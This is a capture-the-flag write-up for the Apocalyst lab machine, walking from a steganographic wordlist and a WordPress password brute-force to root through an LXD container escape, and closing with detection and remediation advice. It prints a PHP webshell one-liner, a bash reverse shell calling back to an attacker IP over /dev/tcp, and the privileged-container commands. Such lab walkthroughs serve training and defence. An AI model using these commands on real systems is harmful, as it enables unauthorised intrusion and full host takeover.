Overview
Apocalyst is a retired medium-rated Linux machine running WordPress 4.8 on
Ubuntu 16.04. The attack chain begins with steganography: an image in the
WordPress uploads directory contains a hidden wordlist, extractable with an
empty steghide passphrase. This wordlist serves dual purpose: directory fuzzing
(which produces only decoys) and password brute-force against the sole WordPress
user falaraki. The password “Transclisiation” grants admin access, enabling a
webshell via the theme file editor.
Privilege escalation has two stages. A world-readable .secret file in
falaraki’s home directory contains a base64-encoded SSH password, providing a
proper interactive shell. Then falaraki’s lxd group membership allows creating
a privileged Alpine container with the host filesystem mounted, mapping container
root directly to host root.
The box teaches two things: target-derived wordlists beat generic ones, and LXD group membership is functionally equivalent to root access.
Reconnaissance
nmap -sC -sV -T4 10.129.14.211
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 | Ubuntu 16.04 banner |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | WordPress 4.8 |
Two ports. A minimal attack surface. HTTP returns a WordPress installation at
apocalyst.htb (added to /etc/hosts based on the page content). I ran WPScan
to fingerprint the installation:
wpscan --url http://apocalyst.htb --enumerate u,p
WPScan identifies WordPress 4.8 with the TwentySeventeen theme. No vulnerable
plugins are detected. Author archive enumeration via /?author=1 confirms
falaraki as the sole user. With no plugin vulnerabilities and only one user
account, the attack surface is narrow: either a WordPress core vulnerability, a
theme vulnerability, or credential compromise.
Attack Surface Analysis
Steganographic wordlist in uploads
The uploads directory (/wp-content/uploads/) has directory listing enabled.
Under 2017/09/, a single image file is present: image.jpg. On boxes where
the obvious attack vectors are exhausted, embedded data in images is worth
checking. I used steghide because it is the most common CTF steganography tool
for JPEG files (it operates on DCT coefficients, unlike LSB tools that target
PNG):
steghide extract -sf image.jpg -p ""
# wrote extracted data to "list.txt"
wc -l list.txt
# 437 list.txt
An empty passphrase works. The extracted file contains 437 entries: dictionary words and names, including “Transclisiation” (a deliberate misspelling that would not appear in any standard wordlist). This is the key insight for the box. The wordlist is custom to the target; rockyou.txt would not contain the password.
Directory fuzzing (decoy)
My first instinct was to use the wordlist for directory fuzzing:
feroxbuster -u http://apocalyst.htb -w list.txt
Every word in the list corresponds to a WordPress page at
http://apocalyst.htb/<word>/. All pages are identical: they display the same
default content with no distinguishing information. This is a deliberate rabbit
hole. I spent time diffing page responses and checking source code before
concluding that the directory fuzzing path is a dead end. The primary value of
the wordlist is as a password list for brute-force.
Vulnerability Analysis
WordPress admin brute-force (CWE-521)
| Attribute | Value |
|---|---|
| CWE | CWE-521 (Weak Password Requirements) |
| Root cause | Admin password is a dictionary word present in a target-derived wordlist |
| Impact | Full WordPress admin access; leads to RCE via theme editor |
WordPress has no account lockout by default. The xmlrpc.php endpoint
supports wp.getUsersBlogs for credential testing, and the standard
/wp-login.php form has no rate limiting. A 437-entry wordlist completes
in seconds regardless of which endpoint is used.
World-readable credential file (CWE-732)
| Attribute | Value |
|---|---|
| CWE | CWE-732 (Incorrect Permission Assignment for Critical Resource) |
| Root cause | .secret file with 644 permissions in user home directory |
| Impact | SSH credential disclosure; interactive shell access |
The .secret file is readable by any local user, including www-data. The
filename starts with a dot, which hides it from a bare ls but not from
ls -la. This is a pattern seen frequently in CTFs and, disturbingly, in
production: developers store credentials in dotfiles assuming the leading dot
provides some form of protection.
LXD container escape (CWE-269)
| Attribute | Value |
|---|---|
| CWE | CWE-269 (Improper Privilege Management) |
| Root cause | User in lxd group; privileged containers map UID 0 to host UID 0 |
| Impact | Full root access via host filesystem mount |
The LXD container escape is not a vulnerability in the traditional sense. It is
a design feature. Any member of the lxd group can create privileged containers
where container root maps directly to host root. The escape requires no CVE, no
exploit code, and no special tooling. The mitigation is removing users from the
group or configuring the LXD daemon to reject privileged containers entirely.
Exploitation
Step 1: WordPress admin brute-force
wpscan --url http://apocalyst.htb \
--passwords list.txt \
--usernames falaraki
# [+] Valid: falaraki / Transclisiation
I chose WPScan over Hydra or Burp Intruder because WPScan handles WordPress
authentication nonces and cookies automatically. For wp-login.php
brute-force, it also parses the response to distinguish between “incorrect
password” and “unknown username” error messages, confirming the username is
valid before iterating passwords.
Step 2: Webshell via theme editor
With admin credentials, the WordPress dashboard exposes the theme file editor
(Appearance > Theme Editor). The TwentySeventeen theme’s 404.php is a
standard target: it is guaranteed to exist, easy to trigger via any
non-existent URL, and unlikely to be monitored. I appended a minimal command
execution handler:
<?php if(isset($_GET['cmd'])){ echo system($_GET['cmd']); } ?>
Verification:
curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Code execution as www-data confirmed.
Step 3: Reverse shell
nc -lvnp 4444
curl "http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261'"
Shell received as www-data. I upgraded to a full TTY with the standard
python3 -c 'import pty;pty.spawn("/bin/bash")' sequence followed by
stty raw -echo; fg for proper terminal handling.
Step 4: Credential discovery
From the www-data shell, I enumerated home directories for readable files:
ls -la /home/falaraki/
# -rw-r--r-- 1 falaraki falaraki ... .secret
cat /home/falaraki/.secret
# Keep forgetting password so this will keep it safe!
# WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==
echo "WTBZdUFJTnRHMzdUaU5nVEghc1V6ZXJzUDRzcw==" | base64 -d
# Y0uAINtG37TiNgTH!sUzersP4ss
The base64 encoding provides no security; it is trivially reversible. The comment in the file (“Keep forgetting password”) confirms this is the user’s SSH password rather than an application credential.
Step 5: SSH as falaraki
ssh [email protected]
# Password: Y0uAINtG37TiNgTH!sUzersP4ss
falaraki@apocalyst:~$ cat user.txt
# [redacted]
User flag obtained. An SSH session provides a stable, fully interactive shell that survives disconnects, unlike the reverse shell through Apache.
Step 6: LXD container escape
id
# uid=1000(falaraki) gid=1000(falaraki) groups=...,108(lxd)
The lxd group membership is immediately visible. I checked for alternative
privilege escalation paths first: sudo -l returned nothing, no SUID binaries
were unusual, and the kernel (4.4.0-x) had known exploits but the LXD path is
cleaner and more reliable.
Build and transfer an Alpine image from the attacker machine:
# Attacker
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.0-x86_64.tar.gz -O rootfs.tar.gz
cat > metadata.yaml << 'EOF'
architecture: x86_64
creation_date: 1704067200
properties:
description: Alpine 3.18
os: Alpine
release: "3.18"
EOF
tar czf metadata.tar.gz metadata.yaml
scp metadata.tar.gz rootfs.tar.gz [email protected]:/tmp/
I used Alpine because the minimal rootfs is under 3 MB, making the transfer fast over the HTB VPN. Any Linux distribution would work; the container’s purpose is solely to provide a root process that can access the host filesystem.
On the target:
lxc image import /tmp/metadata.tar.gz /tmp/rootfs.tar.gz --alias alpine
lxc init alpine pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
lxc start pwned
The critical flag is security.privileged=true. By default, LXD uses UID
namespace remapping: container UID 0 maps to an unprivileged host UID (e.g.,
100000). Setting security.privileged=true disables this remapping, so
container root operates as actual host root. The disk device mounts the entire
host filesystem at /mnt/root with full read-write access.
lxc exec pwned -- cat /mnt/root/root/root.txt
# [redacted]
lxc exec pwned -- chroot /mnt/root /bin/bash
# uid=0(root) gid=0(root)
Root flag obtained. The chroot into /mnt/root provides a full root shell on
the host filesystem, identical in capability to a direct root login.
Post-Exploitation
The system runs Ubuntu 16.04 x86_64 with kernel 4.4.0, well past end-of-life.
I checked whether MySQL credentials from wp-config.php could provide an
alternative escalation path:
grep DB_PASSWORD /var/www/html/apocalyst.htb/wp-config.php
# define('DB_PASSWORD', 'Th3SoopaD00paPa5S!');
The MySQL root password Th3SoopaD00paPa5S! was rejected for SSH login to
both falaraki and root. I also attempted MySQL UDF privilege escalation, but
secure_file_priv was set to /var/lib/mysql-files/, blocking the required
INTO DUMPFILE to the plugin directory. Application credentials were properly
segregated from system credentials on this box.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | WPScan user-agent in Apache access logs |
| Credential access | T1110.001 | Burst of 437 failed logins against wp-login.php in seconds |
| Execution | T1059.004 | bash spawned as child of Apache worker process |
| Discovery | T1083 | www-data reading files in /home/falaraki/ |
| Privilege escalation | T1611 | lxc init with security.privileged=true |
WordPress brute-force: 437 sequential POST requests to wp-login.php in
under a second is trivially detectable. Any WAF, fail2ban configuration, or
even a basic mod_evasive setup monitoring authentication endpoints would block
this after the first few failures. The WordPress xmlrpc.php multicall
technique (batching hundreds of credential tests in a single HTTP request)
would be stealthier but was unnecessary given the absence of any rate limiting.
Apache process tree: A bash process spawned as a child of an Apache
worker is a high-confidence indicator of webshell execution. Process monitoring
tools (Sysmon for Linux, auditd, or Falco) would flag this immediately. The
expected process tree for Apache is apache2 -> php -> [nothing], not
apache2 -> php -> bash -> bash.
LXD container creation: lxc init with security.privileged=true should
be treated as a critical security event. LXD logs container creation events,
and an auditd rule on the lxc binary with argument inspection would detect
the privileged flag. In a production environment, LXD should be configured to
reject privileged containers at the daemon level.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove falaraki from the lxd group | Low | Critical |
| P0 | Change WordPress admin password to a strong random value | Low | Critical |
| P0 | Delete .secret file; rotate the SSH password | Low | Critical |
| P1 | Disable WordPress theme file editor (DISALLOW_FILE_EDIT in wp-config.php) | Low | High |
| P1 | Install fail2ban or rate-limit wp-login.php | Low | High |
| P1 | Set home directory permissions to 750 | Low | High |
| P2 | Disable directory browsing on uploads directory | Low | Medium |
| P2 | Scan uploaded images for steganographic content | Medium | Medium |
| P3 | Upgrade to a supported Ubuntu LTS release | High | High |
The LXD group membership is the most critical finding. Two commands grant full
host filesystem access as root, with no exploit code required. This applies
equally to Docker group membership: any user who can create containers with host
mounts and disabled namespace isolation has unrestricted system access. The fix
is straightforward: remove the user from the group. If LXD must remain
available, configure it to reject privileged containers via
lxc config set security.privileged false at the daemon level.
The home directory permissions compound the problem. Even without the .secret
file, a 755 home directory allows any local user (including www-data from a
webshell) to enumerate its contents. Setting home directories to 750 or 700 is
a baseline hardening step that blocks this entire class of lateral movement.
Key Takeaways
-
Target-derived wordlists beat generic ones. A 437-entry wordlist extracted from the target itself contains the password when a 14-million entry list like rockyou.txt would not. Before reaching for generic wordlists, build target-specific lists from extracted content, page text, usernames, and embedded data. Steghide with an empty passphrase is a quick check that takes seconds and occasionally pays off.
-
World-readable files in home directories are high-value targets. Files like
.secret,.bash_history,.env, and.config/in user home directories regularly contain credentials. The leading dot provides no security; it only hides the file fromlswithout the-aflag. Always enumerate withls -laon every accessible home directory. -
LXD group membership is functionally equivalent to root. The container escape requires no CVE, no exploit code, and no special tools. Two
lxccommands grant full host filesystem access as root. The same principle applies to Docker group membership. Audit group memberships as part of any Linux privilege escalation checklist:id, then check whether any group grants container or disk access.